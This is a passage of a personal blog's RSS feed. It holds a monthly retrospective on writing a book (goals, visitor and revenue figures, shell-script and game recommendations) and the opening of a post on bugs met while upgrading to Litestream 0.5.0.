&lt;li>A great blog post inspired me to think more about convenience shell scripts.&lt;/li>
&lt;li>The game &lt;em>Oxygen Not Included&lt;/em> is fun.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="set-up-editing-discounts-for-readers-who-have-read-the-book">Set up editing discounts for readers who have read the book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Created a page explaining discounts&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I created the page, but I&amp;rsquo;m intentionally not advertising it as a perk of early access. My goal is to work with people who are already enthusiastic about the book rather than entice new customers. I&amp;rsquo;m revealing the discount here in this retrospective because if you&amp;rsquo;re interested enough in my work to read these monthly updates, you&amp;rsquo;re also the kind of person I&amp;rsquo;d like to take on as a freelance editing client.&lt;/p>
&lt;p>There have been no freelance editing customers since I doubled my standard rate and added a discount for early access customers, but that&amp;rsquo;s actually fine. I&amp;rsquo;ve had more writing output as a result, and I&amp;rsquo;d like the numbers to work out so that if freelance editing pulls me away from writing, the financial compensation makes me feel like it&amp;rsquo;s a good tradeoff.&lt;/p>
&lt;h3 id="create-a-list-of-early-access-customers-to-reach-out-to">Create a list of early access customers to reach out to&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Created a list of 63 customers I can contact&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I keep setting a goal to reach out to more readers one on one. I realized there was a lot of friction to finding customers to reach out to, so I simplified my goal to just create a list of customers that are a good match for me to reach out to, according to these criteria:&lt;/p>
&lt;ol>
&lt;li>Their email address isn&amp;rsquo;t Gmail/Yahoo/Hotmail or another email-only domain.&lt;/li>
&lt;li>The domain name from their email address serves a real website.&lt;/li>
&lt;/ol>
&lt;p>Basically, I&amp;rsquo;m looking for readers whose websites I can look at to allow me to say something unique and personal to them. I reached out to three customers based on this list. Two of them responded, including one who subsequently attended last month&amp;rsquo;s live session. I suspect the personalized email was a factor in their attendance. So, I continue to get positive results on this 1:1 outreach; I just need to do it more.&lt;/p>
&lt;h3 id="publish-a-new-chapter-of-the-book">Publish a new chapter of the book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published 2.5 new chapters&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I published &lt;a href="https://refactoringenglish.com/chapters/useful-feedback-on-design-docs/">&amp;ldquo;How to Get Meaningful Feedback on Your Design Document,&amp;rdquo;&lt;/a> &amp;ldquo;Verbs Drive the Sentence,&amp;rdquo; and &amp;ldquo;Stay Positive.&amp;rdquo; The design docs one is technically half a chapter, as I plan to expand it for the actual book with more details about what goes into a design doc.&lt;/p>
&lt;p>&amp;ldquo;How to Get Meaningful Feedback on Your Design Document&amp;rdquo; was my biggest whiff in a while, getting almost no traction anywhere I posted it. I wasn&amp;rsquo;t 100% confident it would land, but I thought it had a 90% shot. Design doc writing was &lt;a href="https://refactoringenglish.com/blog/chapter-interest-results/#full-results">one of the top topics readers were interested in&lt;/a>, so I expected there to be more of an audience for this.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2025&lt;/th>
 &lt;th>October 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>7,283&lt;/td>
 &lt;td>22,398&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;15,115 (&amp;#43;208%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$484.71&lt;/td>
 &lt;td>$570.75&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$86.04 (&amp;#43;18%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from consulting&lt;/td>
 &lt;td>$429.60&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$429.60 (-100%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$962.56&lt;/td>
 &lt;td>$619.00&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$343.56 (-36%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Visitors to the website in October were the highest they&amp;rsquo;ve been since &lt;a href="https://mtlynch.io/retrospectives/2025/04/#blogging-like-my-livelihood-depends-on-it">my big Kickstarter blitz in March&lt;/a>. There were 22.3k unique visitors. Of those, 93% came through &lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">&amp;ldquo;The Software Essays that Shaped Me,&amp;rdquo;&lt;/a> the article I published last month that I felt &lt;a href="https://mtlynch.io/retrospectives/2025/10/#experimenting-with-bunts">didn&amp;rsquo;t come out as I&amp;rsquo;d hoped&lt;/a>.&lt;/p>
&lt;p>I wish pre-orders scaled a bit more linearly with visitors, but I&amp;rsquo;m still happy that my blog posts bring new readers to my book.&lt;/p>
&lt;h2 id="im-running-late">I&amp;rsquo;m running late&lt;/h2>
&lt;p>When I started writing the book, I felt confident I&amp;rsquo;d be done by October 2025. I announced that the book would be done by December, just to give myself some padding, but I doubted I&amp;rsquo;d need it.&lt;/p>
&lt;p>Well, it turns out, I need it and then some.&lt;/p>
&lt;p>Back in May, I wrote down estimates of &lt;a href="https://mtlynch.io/retrospectives/2025/06/#becoming-less-precious-about-my-writing">how much writing time I expected each chapter to take&lt;/a>. Six months later, how accurate was I? I underestimated the effort by about 40%.&lt;/p>
&lt;p>I originally thought I&amp;rsquo;d finish the book in 114 hours, but my current estimate (after 99 hours of writing) is 157 hours, meaning I think I&amp;rsquo;ll need another 58 hours to finish.&lt;/p>
&lt;p>I also estimated that I could write the book for five hours per week, but that was incorrect as well, as 99 hours over six months works out to about 3.8 hours per week.&lt;/p>
&lt;p>I generally can only write for a maximum of an hour per day. I can write for longer, but my productivity goes way down, so I feel like my second hour of writing is about 20% as productive as the first. I can sometimes squeeze in a second hour in the afternoon, but that&amp;rsquo;s rare.&lt;/p>
&lt;p>I also didn&amp;rsquo;t take into account regular occurrences that prevent me from getting a good writing session in:&lt;/p>
&lt;ul>
&lt;li>Non-book writing
&lt;ul>
&lt;li>e.g., blog posts, retrospectives, notes&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Childcare change-ups
&lt;ul>
&lt;li>Our family normally helps out with childcare, but if someone is sick or unavailable, and we can&amp;rsquo;t find a replacement, my wife or I take time off to cover.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Freelance editing work
&lt;ul>
&lt;li>I find it hard to &lt;a href="https://mtlynch.io/retrospectives/2025/10/#adjusting-my-approach-to-freelance-editing">do both in the same day&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sick days&lt;/li>
&lt;li>Time off&lt;/li>
&lt;li>Days where I can&amp;rsquo;t get motivated to write&lt;/li>
&lt;/ul>
&lt;p>If I assume I keep going at a rate of around 3.8 hours per week, my remaining 58 hours of writing should take 15.3 weeks, which brings me to mid-February 2026. For padding, I&amp;rsquo;m going to say I&amp;rsquo;m aiming to finish the book by the end of March 2026.&lt;/p>
&lt;p>I feel more confident about the timelines for the remaining chapters. Early chapters of the book like &amp;ldquo;Get to the Point&amp;rdquo; (about writing compelling introductions) are challenging because I have to formalize and refine a thought process that&amp;rsquo;s mushy in my head. But topics like my personal writing process or hiring an editor are easier to explain because they&amp;rsquo;re concrete actions I take rather than how I think.&lt;/p>
&lt;h2 id="recommendations">Recommendations&lt;/h2>
&lt;h3 id="evan-hahns-convenience-scripts">Evan Hahn&amp;rsquo;s convenience scripts&lt;/h3>
&lt;p>The best article I read last month was Evan Hahn&amp;rsquo;s &lt;a href="https://evanhahn.com/scripts-i-wrote-that-i-use-all-the-time/">&amp;ldquo;Scripts I wrote that I use all the time.&amp;rdquo;&lt;/a> Evan shares several scripts he&amp;rsquo;s written to make his life easier as a developer. My favorites were:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://codeberg.org/EvanHahn/dotfiles/src/commit/843b9ee13d949d346a4a73ccee2a99351aed285b/home/bin/bin/copy">&lt;code>copy&lt;/code>&lt;/a>: Read from stdin and store it in the system clipboard.
&lt;ul>
&lt;li>I&amp;rsquo;m embarrassed to admit I never thought to do this. I&amp;rsquo;ve always copied from the terminal with my mouse like a savage.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://codeberg.org/EvanHahn/dotfiles/src/commit/843b9ee13d949d346a4a73ccee2a99351aed285b/home/bin/bin/pasta">&lt;code>pasta&lt;/code>&lt;/a>: Print from the system clipboard to stdout.&lt;/li>
&lt;li>&lt;a href="https://codeberg.org/EvanHahn/dotfiles/src/commit/843b9ee13d949d346a4a73ccee2a99351aed285b/home/bin/bin/pastas">&lt;code>pastas&lt;/code>&lt;/a>: Watch the system clipboard and print to stdout every time it changes.
&lt;ul>
&lt;li>The first time I read the post, I overlooked &lt;a href="https://mtlynch.io/notes/guis-are-antisocial/">just how clever this script is&lt;/a>.&lt;/li>
&lt;li>You can run &lt;code>pastas | wget --input-file=/dev/stdin&lt;/code> in one terminal and then in a browser, just keep copying URLs to your clipboard, and the &lt;code>pastas&lt;/code> command will download every URL you copy without you having to switch back and forth.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://codeberg.org/EvanHahn/dotfiles/src/commit/843b9ee13d949d346a4a73ccee2a99351aed285b/home/bin/bin/emoji">&lt;code>emoji&lt;/code>&lt;/a>: Search for emoji by text. Like &lt;code>emoji cool&lt;/code> prints out all the emoji that are associated with the idea of &amp;ldquo;cool.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>So many of Evan&amp;rsquo;s scripts were great ideas that I immediately adopted.&lt;/p>
&lt;p>More importantly, I liked the meta-idea of Evan&amp;rsquo;s post: developers should think about scripts that remove friction from their typical workflows. It also expanded my perception of what could even be a script. Like &lt;code>emoji&lt;/code>, I wouldn&amp;rsquo;t have thought to make a script because I don&amp;rsquo;t have a list of every emoji and a description, but after reading Evan&amp;rsquo;s post, I realized I could have generated the list the same way Evan did.&lt;/p>
&lt;p>It inspired me to add a &lt;code>chat&lt;/code> script to my path to ask questions to a locally-hosted LLM. I often find myself going to the web browser to look up semantics for command-line tools, so I can instead stay on the command line and just type it to &lt;code>chat&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Read prompt from command-line arg.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROMPT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$1&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Add implicit context for the prompt.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROMPT&lt;/span>+=&lt;span style="color:#ed9d13">&amp;#39; Assume a Linux OS.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROMPT&lt;/span>+=&lt;span style="color:#ed9d13">&amp;#39; Prefer command-line tools.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROMPT&lt;/span>+=&lt;span style="color:#ed9d13">&amp;#39; Optimize for the simplest possible response.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROMPT&lt;/span>+=&lt;span style="color:#ed9d13">&amp;#39; If there are multiple methods, show me the simplest one.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROMPT&lt;/span>+=&lt;span style="color:#ed9d13">&amp;#39; If possible, show me just a code snippet with no additional explanation.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Use a default LLM model but allow the user to override it.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MODEL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MODEL&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">:-&lt;/span>&lt;span style="color:#40ffff">llama3&lt;/span>.2:&lt;span style="color:#40ffff">1b&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ollama run &lt;span style="color:#40ffff">$MODEL&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROMPT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For example, I used it yesterday to remember how to resize an image:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="chat-session.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

&lt;p>It&amp;rsquo;s super fast! That prompt completed on my system in 265ms, so it&amp;rsquo;s much faster than me switching to a browser, searching, clicking for an answer, then switching back to my task.&lt;/p>
&lt;p>Evan&amp;rsquo;s companion article, &lt;a href="https://evanhahn.com/why-alias-is-my-last-resort-for-aliases/">&amp;ldquo;Why &amp;lsquo;alias&amp;rsquo; is my last resort for aliases&amp;rdquo;&lt;/a> dovetails well with his scripts, as it argues that putting convenience scripts in a folder under your &lt;code>PATH&lt;/code> (e.g., under &lt;code>~/.local/bin&lt;/code>) affords you more flexibility than using shell aliases.&lt;/p>
&lt;h3 id="oxygen-not-included">&lt;em>Oxygen Not Included&lt;/em>&lt;/h3>
&lt;p>I&amp;rsquo;m not an active gamer, but I buy one computer game per year. I typically only play each game for 10-20 hours before I get bored, but I consider the $15-50 I spend to be good value for 10-20 hours of entertainment. Some games, I get really into and play for 25-100 hours (&lt;em>Stardew Valley&lt;/em>, &lt;em>XCOM2&lt;/em>, &lt;em>Cypberpunk 2077&lt;/em>).&lt;/p>
&lt;p>&lt;em>Oxygen Not Included&lt;/em> has been on my mind for almost a year since I saw &lt;a href="https://phanpy.social/#/mastodon.social/s/113602735590180420">Andrew Kelly and Mitchell Hashimoto talking about&lt;/a> how much they love it. Andrew Kelly declared it so good at teaching systems thinking that it should be its own required course in elementary school.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/11/oxygen-not-included.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/11/oxygen-not-included_hu_d67d56e215bb794c.webp 300w, https://mtlynch.io/retrospectives/2025/11/oxygen-not-included_hu_f73f9786e3d5bc6d.webp 600w, https://mtlynch.io/retrospectives/2025/11/oxygen-not-included_hu_4c07131e561b0a43.webp 800w, https://mtlynch.io/retrospectives/2025/11/oxygen-not-included_hu_7a508154663592e0.webp 1200w, https://mtlynch.io/retrospectives/2025/11/oxygen-not-included.webp 5120w'
 src="https://mtlynch.io/retrospectives/2025/11/oxygen-not-included.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My space colony in &lt;em>Oxygen Not Included&lt;/em>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I started playing &lt;em>Oxygen Not Included&lt;/em> in October, and it&amp;rsquo;s really fun. I&amp;rsquo;ve seen it compared to Factorio and Rimworld, but I&amp;rsquo;ve never played those games. The game it most reminds me of is &lt;em>Stardew Valley&lt;/em>, specifically the farming part of the game. In both games, you&amp;rsquo;re trying to build a system that produces something. In the beginning, you have rudimentary tools that force you to do a lot of tasks manually, but as you progress, you get more powerful tools that allow you to automate more of the work and scale up productivity.&lt;/p>
&lt;p>The biggest challenge of &lt;em>Oxygen Not Included&lt;/em> is that it&amp;rsquo;s hard to learn. There are in-game explanations of some concepts, but a lot of stuff, I&amp;rsquo;ve had to learn from trial and error. There are YouTube tutorials, but they&amp;rsquo;re bizarrely long. Like, you eventually get to a point where you can build plumbing, but I didn&amp;rsquo;t understand how it worked, so I looked up tutorials on YouTube, and they&amp;rsquo;re all 60+ minutes! But it&amp;rsquo;s because they&amp;rsquo;re explaining some super complicated version of plumbing that scales to a million, when all I want to do is build one toilet.&lt;/p>
&lt;p>The best tutorial I&amp;rsquo;ve found so far is &lt;a href="https://steamcommunity.com/sharedfiles/filedetails/?id=1359110726">this written guide by a player named Jahws&lt;/a>.&lt;/p>
&lt;p>If you&amp;rsquo;re a good &lt;em>Oxygen Not Included&lt;/em> player, tell me the dumb things I&amp;rsquo;m &lt;a href="oxygen-not-included.webp">doing with my colony&lt;/a>.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://refactoringenglish.com/chapters/useful-feedback-on-design-docs/">&amp;ldquo;How to Get Meaningful Feedback on Your Design Document,&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Hosted a live video session for Early Access readers about design docs.&lt;/li>
&lt;li>Published two new chapters: &amp;ldquo;Verbs Drive the Sentence&amp;rdquo; and &amp;ldquo;Stay Positive.&amp;rdquo;&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/hold-off-on-litestream-0.5.0/">&amp;ldquo;Hold Off on Litestream 0.5.0&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/read-my-blog-with-javascript/">&amp;ldquo;Read My Blog With JavaScript&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>I can&amp;rsquo;t write my book for five hours per week.
&lt;ul>
&lt;li>I can easily do five hours in a week where I&amp;rsquo;m only writing my book, but there are many potential interrupts and competing priorities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish two new book chapters.&lt;/li>
&lt;li>Reach out to 10 readers.&lt;/li>
&lt;li>Create a tool or blog post that brings people to the &lt;em>Refactoring English&lt;/em> website.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Hold Off on Litestream 0.5.0</title><link>https://mtlynch.io/notes/hold-off-on-litestream-0.5.0/</link><pubDate>Tue, 14 Oct 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/hold-off-on-litestream-0.5.0/</guid><description>&lt;p>&lt;a href="https://litestream.io/">Litestream&lt;/a> is an open-source tool that backs up SQLite databases to cloud storage in real time. I love it and use it in all of my projects.&lt;/p>
&lt;p>Litestream &lt;a href="https://news.ycombinator.com/item?id=31320032">is owned by Fly.io&lt;/a>, and they paused development on Litestream for almost two years in favor of an alternative project called LiteFS. Two weeks ago, Ben Johnson, Litestream&amp;rsquo;s creator and lead developer, &lt;a href="https://fly.io/blog/litestream-v050-is-here/">announced&lt;/a> that they were shifting focus back to Litestream and had just published a new release, &lt;a href="https://github.com/benbjohnson/litestream/tree/v0.5.0">0.5.0&lt;/a>.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://litestream.io/">Litestream&lt;/a> is an open-source tool that backs up SQLite databases to cloud storage in real time. I love it and use it in all of my projects.&lt;/p>
&lt;p>Litestream &lt;a href="https://news.ycombinator.com/item?id=31320032">is owned by Fly.io&lt;/a>, and they paused development on Litestream for almost two years in favor of an alternative project called LiteFS. Two weeks ago, Ben Johnson, Litestream&amp;rsquo;s creator and lead developer, &lt;a href="https://fly.io/blog/litestream-v050-is-here/">announced&lt;/a> that they were shifting focus back to Litestream and had just published a new release, &lt;a href="https://github.com/benbjohnson/litestream/tree/v0.5.0">0.5.0&lt;/a>.&lt;/p>
&lt;p>I tried out Litestream 0.5.0, but I caution other Litestream users to give it another release and more extensive testing before deploying it in production. I had a bumpy experience migrating to the new version of Litestream.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Update&lt;/strong>: Litestream &lt;a href="https://github.com/benbjohnson/litestream/releases/tag/v0.5.1">0.5.1&lt;/a> is now available and fixes most (but not all) of the issues I encountered.
&lt;/div>

&lt;div class="notice notice-info">
 &lt;strong>Update 2&lt;/strong> (2025-10-17): Litestream &lt;a href="https://github.com/benbjohnson/litestream/releases/tag/v0.5.2">0.5.2&lt;/a> wraps up all the bugs I ran into, so I plan to roll it out to my SQLite-based apps.
&lt;/div>

&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I&amp;rsquo;m not complaining about Litestream. I love Litestream, and I&amp;rsquo;m glad to see renewed development. I&amp;rsquo;m just hoping to save other Litestream users from running into the same bugs I&amp;rsquo;m hitting.
&lt;/div>

&lt;h2 id="the-expected-migration-work">The expected migration work&lt;/h2>
&lt;p>There are two tasks that are intentional in upgrading from previous versions of Litestream to v0.5.0 and above:&lt;/p>
&lt;ol>
&lt;li>The backup format has changed, so Litestream 0.5.0 cannot restore from backups created in previous versions of Litestream.&lt;/li>
&lt;li>The &lt;code>litestream.yml&lt;/code> configuration file format has changed slightly. There used to be an array field called &lt;code>replicas&lt;/code>, but 0.5.0 changes this to a dictionary called &lt;code>replica&lt;/code> (singular).&lt;/li>
&lt;/ol>
&lt;p>Litestream has published a &lt;a href="https://litestream.io/docs/migration/">helpful migration guide&lt;/a> with more details.&lt;/p>
&lt;p>One of the benefits of Litestream 0.5.0 is that there&amp;rsquo;s now an &lt;a href="https://hub.docker.com/r/litestream/litestream">official litestream Docker image&lt;/a>. (&lt;strong>Edit&lt;/strong>: Reader placardloop &lt;a href="https://news.ycombinator.com/item?id=45583321">points out&lt;/a> that the Docker image is not new; I just never noticed it.) All of my previous Docker containers required a lot of boilerplate &lt;a href="https://github.com/mtlynch/whatgotdone/blob/2d5085fb9480d7b6e19fc65e0c08895ae236e784/Dockerfile#L24-L49">to download the correct version of Litestream&lt;/a> and make it available in my container, but now it reduces to a single Dockerfile line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-Dockerfile" data-lang="Dockerfile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">COPY&lt;/span> --from=litestream/litestream:0.5.0 /usr/local/bin/litestream /app/litestream&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="my-test-migration-to-litestream-050">My test migration to Litestream 0.5.0&lt;/h2>
&lt;p>To test out Litestream 0.5.0, I tried deploying it on my project, &lt;a href="https://www.whatgotdone.com/">What Got Done&lt;/a>. This is a good project for testing because:&lt;/p>
&lt;ol>
&lt;li>I already announced that I was &lt;a href="https://www.whatgotdone.com/shutdown-notice">shutting down this service&lt;/a>, so users have stopped using the site.&lt;/li>
&lt;li>The server kept failing due to &lt;a href="https://github.com/benbjohnson/litestream/issues/688">a bug in Litestream 0.3.13&lt;/a> that was fixed in 0.5.0.&lt;/li>
&lt;/ol>
&lt;h3 id="uploading-to-backblaze-backends-no-longer-works">Uploading to Backblaze backends no longer works&lt;/h3>
&lt;p>To start the migration, I downloaded the latest copy of my data using Litestream 0.3.13 and then tried to use Litestream 0.5.0 to upload it back to Backblaze&amp;rsquo;s cloud storage in Litestream&amp;rsquo;s new format. But I hit this error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>error&amp;#34; db=store.db replica=s3 error=&amp;#34;write ltx file: s3: upload to db/0000/0000000000000001-0000000000000001.ltx: operation error S3: PutObject, resolve auth scheme: resolve endpoint: endpoint rule error, Custom endpoint `s3.us-west-002.backblazeb2.com` was not a valid URI&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The same replica definition had worked in previous versions, so I was a bit puzzled.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">access-key-id&lt;/span>:&lt;span style="color:#666"> &lt;/span>${LITESTREAM_ACCESS_KEY_ID}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">secret-access-key&lt;/span>:&lt;span style="color:#666"> &lt;/span>${LITESTREAM_SECRET_ACCESS_KEY}&lt;span style="color:#666">
